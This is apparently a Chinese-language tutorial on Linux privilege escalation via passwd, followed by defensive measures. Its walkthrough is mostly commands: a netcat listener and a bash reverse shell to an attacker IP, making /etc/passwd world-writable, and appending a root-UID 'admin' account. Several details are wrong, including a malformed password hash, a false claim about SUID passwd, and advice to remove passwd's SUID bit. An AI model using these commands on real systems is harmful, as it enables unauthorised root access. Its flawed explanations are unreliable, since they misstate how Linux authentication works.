passwd 命令用于更改用户密码。在 Linux 系统中,普通用户可以通过 passwd 更改自己的密码,但如果攻击者能够以某种方式执行 passwd 命令更改 root 用户的密码,他们就能获取 root 权限。
1.常见的 passwd 提权方法
- SUID 设置:如果 passwd 命令被设置为 SUID,普通用户执行该命令时就会获得 root 权限。攻击者可以通过执行 passwd 命令来修改 root 用户的密码,从而获得 root 权限。
- 文件权限漏洞:某些系统中,/etc/passwd 和 /etc/shadow 文件的权限配置不当,可能允许攻击者修改这些文件。通过修改这些文件,攻击者可以改变 root 用户的密码或者向系统中添加一个新的管理员账户。
- 利用程序漏洞:如果 passwd 命令本身存在漏洞,攻击者可以利用这些漏洞执行恶意操作,如覆盖密码文件、修改系统配置等。
2.漏洞示例
A.获取靶机shell
-
攻击机监听端口
- 命令:nc -nvlp 7771
-
-
目标主机反向连接
- 命令:bash -i >& /dev/tcp/192.168.13.130/7771 0>&1
-
-
连接成功,获取shell
-
B.赋予权限(提权条件)
-
命令:chmod 666 /etc/passwd
- PS:赋予 passwd文件 任意用户可读可写的权限。
-
C.添加账户并提权
-
第一步:openssl passwd -1 -salt admin admin
- PS:以 admin 为明文密码,生成一个以 admin 为盐值的 MD5 密码哈希。
-
-
第二步:echo 'admin:admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /etc/passwd
- PS:向 passwd文件 中追加一个新用户 admin,并为该用户设置密码哈希值。
-
-
第三步:python -c 'import pty;pty.spawn("/bin/bash")'
- PS:切换到交互式shell
-
第四步:su admin
- PS:切换到新添加的admin用户,完成提权。
-
3.防御措施
-
禁止 SUID 权限:确保 /usr/bin/passwd 没有 SUID 位。
-
chmod u-s /usr/bin/passwd
-
-
限制文件权限:确保 /etc/passwd 和 /etc/shadow 只允许 root 修改。
-
chmod 644 /etc/passwd chmod 400 /etc/shadow
-
-
禁用不必要的账户:定期检查系统账户,禁用不必要的用户。
-
使用强密码策略:确保所有用户使用复杂密码,并启用多因素认证。
-
审计和日志监控:定期审计和监控系统日志,发现异常的用户管理操作。